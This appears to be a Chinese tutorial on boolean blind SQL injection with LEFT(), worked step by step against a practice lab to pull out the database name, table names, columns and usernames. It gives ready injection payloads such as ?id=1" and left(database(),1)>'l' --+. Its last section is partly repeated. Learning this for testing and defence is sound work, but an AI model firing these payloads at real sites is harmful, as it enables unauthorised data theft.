SQL注入——盲注(left方法)

SQL注入——盲注(left方法)

1、拿到题目后首先判断闭合规则,目前有如下几种情况

select id=’ ’

select id=" "

select id=’( )’

select id="( )"

select id =( )

二、fuzz规则

通过 order by 10000 --+ 来作为结尾 前面fuzz数据库的闭合规则

在id = 1“ 时 页面回显异常 说明 闭合方式为第二种 双引号闭合

三、之后开始猜测数据库名

SQL注入——盲注(left方法)

第一条payload为 id=1" and left(database(),1)>'a' --+

介绍一下left函数 left(参数1,参数2) 意为 将参数1从左开始取参数2个

示例: left(abc,2) 返回值为ab

之后将他与字符串进行比较 例如 left(abc,1)>'a' 返回结果为false 因为 ‘a’=‘a’

同样的left(abc,2)>'aa' 返回结果为TURE 因为‘ab’是要大于‘aa’

根据返回的结果的真假 与前面的语句用and相连接 构造逻辑关系

及 后面结果为真 页面就正常回显 若后面的语句为假 则 页面回显异常

四、探测库名

1、第一位字母

使用2分法 第一条payload为

?id=1" and left(database(),1)>'l' --+

页面回显正常

之后尝试

?id=1" and left(database(),1)>‘s’ --+
SQL注入——盲注(left方法)

发现页面回显异常

?id=1" and left(database(),1)='s' --+

SQL注入——盲注(left方法)

此时页面正常回显 可知数据库第一位为s

2、第二位字母

之后探测第二位字母

payload为

?id=1" and left(database(),2)>'sl' --+

页面回显异常 说明第二位字母 比 l 要小

SQL注入——盲注(left方法)

在尝试到e时回显正常 payload为

?id=1" and left(database(),2)='se' --+

SQL注入——盲注(left方法)

3、如何判断结尾在哪里

之后几位字符自行尝试

注:当出现如下情况时

payload为:?id=1" and left(database(),9)>'securitya' --+

数据库库名的第九位是否比‘a’大 但是回显异常,却又不等于A时 说明库名已经猜测完毕

及库名就为security

SQL注入——盲注(left方法)

五、猜解表名

有了数据库的库名之后 我们要开始猜解数据库中的表名

payload:

?id=1" and left((select table_name from information_schema.tables where table_schema = 'security' limit 0,1),1)>'l' --+

页面异常
SQL注入——盲注(left方法)

经过尝试可知 第一个表名的首字母为e

SQL注入——盲注(left方法)

5、2第二个表名

?id=1" and left((select table_name from information_schema.tables where table_schema = 'security' limit 1,1),1)>'l' --+

通过修改limit 开始对第二个表名进行猜测

可知第二个表名首字母为r

SQL注入——盲注(left方法)

之后过程相同 不再重复说明

六、猜解列名

payload:

?id=1" and left((select column_name from information_schema.columns where table_name = 'users' limit 0,1),1)>'l' --+

回显异常
SQL注入——盲注(left方法)

之后过程相同不再说明

知识补充(limit)

left中的语句

select table_name from information_schema.tables where table_schema = 'security' limit 0,1

意为从infomation_schema.tables 这张表中选出 table_name那一列 这列的table_schema要为security

limit 0,1 是 从返回的结果中 显示第一行 一共显示一行

效果如下

不加limit时返回结果

SQL注入——盲注(left方法)

limit 0,1时的结果,返回了第一行 仅显示一行

SQL注入——盲注(left方法)

limit 0,2时的结果 返回了第一行 显示两行

SQL注入——盲注(left方法)

七、表中字段名

payload:

?id=1" and left((select username from security.users limit 0,1),1)>'l' --+

]

limit 0,2时的结果 返回了第一行 显示两行

SQL注入——盲注(left方法)

七、表中字段名

payload:

?id=1" and left((select username from security.users limit 0,1),1)>'l' --+

同理